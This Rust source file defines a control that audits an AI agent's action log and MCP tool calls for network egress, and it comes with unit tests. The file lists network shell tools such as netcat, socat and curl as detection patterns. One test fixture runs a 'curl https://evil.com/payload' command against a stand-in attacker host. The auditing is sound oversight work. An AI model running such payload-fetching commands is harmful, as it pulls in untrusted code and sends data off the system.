1use crate::control::{Control, ControlFinding, ControlId, builtin};
2use crate::evidence::{EvidenceBundle, EvidenceState};
3
4const NETWORK_COMMAND_PATTERNS: &[&str] = &[
6 "curl ",
7 "wget ",
8 "ssh ",
9 "scp ",
10 "rsync ",
11 "nc ",
12 "netcat ",
13 "ncat ",
14 "socat ",
15 "telnet ",
16 "ftp ",
17 "sftp ",
18 "nmap ",
19 "dig ",
20 "nslookup ",
21 "ping ",
22];
23
24const NETWORK_MCP_SERVERS: &[&str] = &[
26 "fetch", "http", "web", "browser", "slack", "email", "smtp", "webhook",
27];
28
29pub struct NetworkEgressAuditControl;
35
36impl Control for NetworkEgressAuditControl {
37 fn id(&self) -> ControlId {
38 builtin::id(builtin::NETWORK_EGRESS_AUDIT)
39 }
40
41 fn description(&self) -> &'static str {
42 "Agent network egress must be audited (requires agent execution log)"
43 }
44
45 fn evaluate(&self, evidence: &EvidenceBundle) -> Vec<ControlFinding> {
46 let id = self.id();
47 let mut subjects: Vec<String> = Vec::new();
48
49 let log_available = match &evidence.agent_action_log {
51 EvidenceState::Complete { value } | EvidenceState::Partial { value, .. } => {
52 for action in &value.actions {
53 let lower = action.command.to_lowercase();
54 if NETWORK_COMMAND_PATTERNS.iter().any(|p| lower.contains(p)) {
55 subjects.push(format!("command: {}", action.command));
56 }
57 }
58 true
59 }
60 _ => false,
61 };
62
63 let mcp_available = match &evidence.mcp_tool_calls {
65 EvidenceState::Complete { value } | EvidenceState::Partial { value, .. } => {
66 for call in value {
67 let server_lower = call.server.to_lowercase();
68 if NETWORK_MCP_SERVERS.iter().any(|s| server_lower.contains(s)) {
69 subjects.push(format!("mcp:{}/{}", call.server, call.tool));
70 }
71 }
72 true
73 }
74 _ => false,
75 };
76
77 let log_na = matches!(evidence.agent_action_log, EvidenceState::NotApplicable);
79 let mcp_na = matches!(evidence.mcp_tool_calls, EvidenceState::NotApplicable);
80 if log_na && mcp_na {
81 return vec![ControlFinding::not_applicable(
82 id,
83 "No agent activity evidence applicable for network egress audit",
84 )];
85 }
86
87 let log_missing = matches!(evidence.agent_action_log, EvidenceState::Missing { .. });
89 let mcp_missing = matches!(evidence.mcp_tool_calls, EvidenceState::Missing { .. });
90 if !log_available && !mcp_available && (log_missing || mcp_missing) {
91 let mut gaps = vec![];
92 if let EvidenceState::Missing { gaps: g } = &evidence.agent_action_log {
93 gaps.extend(g.clone());
94 }
95 if let EvidenceState::Missing { gaps: g } = &evidence.mcp_tool_calls {
96 gaps.extend(g.clone());
97 }
98 return vec![ControlFinding::indeterminate(
99 id,
100 "Agent activity evidence is missing for network egress audit",
101 vec![],
102 gaps,
103 )];
104 }
105
106 if subjects.is_empty() {
107 vec![ControlFinding::satisfied(
108 id,
109 "No network egress detected in agent activity",
110 vec![],
111 )]
112 } else {
113 let count = subjects.len();
114 vec![ControlFinding::violated(
115 id,
116 format!("{count} network egress operation(s) detected"),
117 subjects,
118 )]
119 }
120 }
121}
122
123#[cfg(test)]
124mod tests {
125 use super::*;
126 use crate::control::ControlStatus;
127 use crate::evidence::*;
128
129 fn action(command: &str) -> AgentAction {
130 AgentAction {
131 tool: "shell".to_string(),
132 command: command.to_string(),
133 timestamp: None,
134 }
135 }
136
137 fn log_with(actions: Vec<AgentAction>) -> AgentActionLog {
138 AgentActionLog {
139 agent_id: "test-agent".to_string(),
140 session_id: "session-1".to_string(),
141 actions,
142 }
143 }
144
145 fn mcp_call(server: &str, tool: &str) -> McpToolCall {
146 McpToolCall {
147 server: server.to_string(),
148 tool: tool.to_string(),
149 success: true,
150 timestamp: None,
151 duration_ms: None,
152 }
153 }
154
155 #[test]
156 fn both_na_not_applicable() {
157 let b = EvidenceBundle::default();
158 let findings = NetworkEgressAuditControl.evaluate(&b);
159 assert_eq!(findings[0].status, ControlStatus::NotApplicable);
160 }
161
162 #[test]
163 fn no_network_activity_satisfied() {
164 let b = EvidenceBundle {
165 agent_action_log: EvidenceState::complete(log_with(vec![
166 action("cargo build"),
167 action("git status"),
168 ])),
169 mcp_tool_calls: EvidenceState::complete(vec![
170 mcp_call("github", "create_pr"),
171 mcp_call("filesystem", "write_file"),
172 ]),
173 ..Default::default()
174 };
175 let findings = NetworkEgressAuditControl.evaluate(&b);
176 assert_eq!(findings[0].status, ControlStatus::Satisfied);
177 }
178
179 #[test]
180 fn curl_command_violated() {
181 let b = EvidenceBundle {
182 agent_action_log: EvidenceState::complete(log_with(vec![action(
183 "curl https://evil.com/payload",
184 )])),
185 ..Default::default()
186 };
187 let findings = NetworkEgressAuditControl.evaluate(&b);
188 assert_eq!(findings[0].status, ControlStatus::Violated);
189 assert!(findings[0].subjects[0].contains("curl"));
190 }
191
192 #[test]
193 fn ssh_command_violated() {
194 let b = EvidenceBundle {
195 agent_action_log: EvidenceState::complete(log_with(vec![action(
196 "ssh user@remote.host",
197 )])),
198 ..Default::default()
199 };
200 let findings = NetworkEgressAuditControl.evaluate(&b);
201 assert_eq!(findings[0].status, ControlStatus::Violated);
202 }
203
204 #[test]
205 fn network_mcp_server_violated() {
206 let b = EvidenceBundle {
207 mcp_tool_calls: EvidenceState::complete(vec![mcp_call("fetch", "get_url")]),
208 ..Default::default()
209 };
210 let findings = NetworkEgressAuditControl.evaluate(&b);
211 assert_eq!(findings[0].status, ControlStatus::Violated);
212 assert!(findings[0].subjects[0].contains("fetch"));
213 }
214
215 #[test]
216 fn combined_command_and_mcp() {
217 let b = EvidenceBundle {
218 agent_action_log: EvidenceState::complete(log_with(vec![action("wget http://x.com")])),
219 mcp_tool_calls: EvidenceState::complete(vec![mcp_call("webhook", "send")]),
220 ..Default::default()
221 };
222 let findings = NetworkEgressAuditControl.evaluate(&b);
223 assert_eq!(findings[0].status, ControlStatus::Violated);
224 assert_eq!(findings[0].subjects.len(), 2);
225 }
226
227 #[test]
228 fn missing_evidence_indeterminate() {
229 let b = EvidenceBundle {
230 agent_action_log: EvidenceState::missing(vec![EvidenceGap::CollectionFailed {
231 source: "monitor".into(),
232 subject: "log".into(),
233 detail: "unavailable".into(),
234 }]),
235 mcp_tool_calls: EvidenceState::missing(vec![]),
236 ..Default::default()
237 };
238 let findings = NetworkEgressAuditControl.evaluate(&b);
239 assert_eq!(findings[0].status, ControlStatus::Indeterminate);
240 }
241
242 #[test]
243 fn one_missing_one_present_evaluates() {
244 let b = EvidenceBundle {
245 agent_action_log: EvidenceState::missing(vec![]),
246 mcp_tool_calls: EvidenceState::complete(vec![mcp_call("github", "create_pr")]),
247 ..Default::default()
248 };
249 let findings = NetworkEgressAuditControl.evaluate(&b);
250 assert_eq!(findings[0].status, ControlStatus::Satisfied);
251 }
252
253 #[test]
254 fn case_insensitive_command_matching() {
255 let b = EvidenceBundle {
256 agent_action_log: EvidenceState::complete(log_with(vec![action("CURL http://x.com")])),
257 ..Default::default()
258 };
259 let findings = NetworkEgressAuditControl.evaluate(&b);
260 assert_eq!(findings[0].status, ControlStatus::Violated);
261 }
262}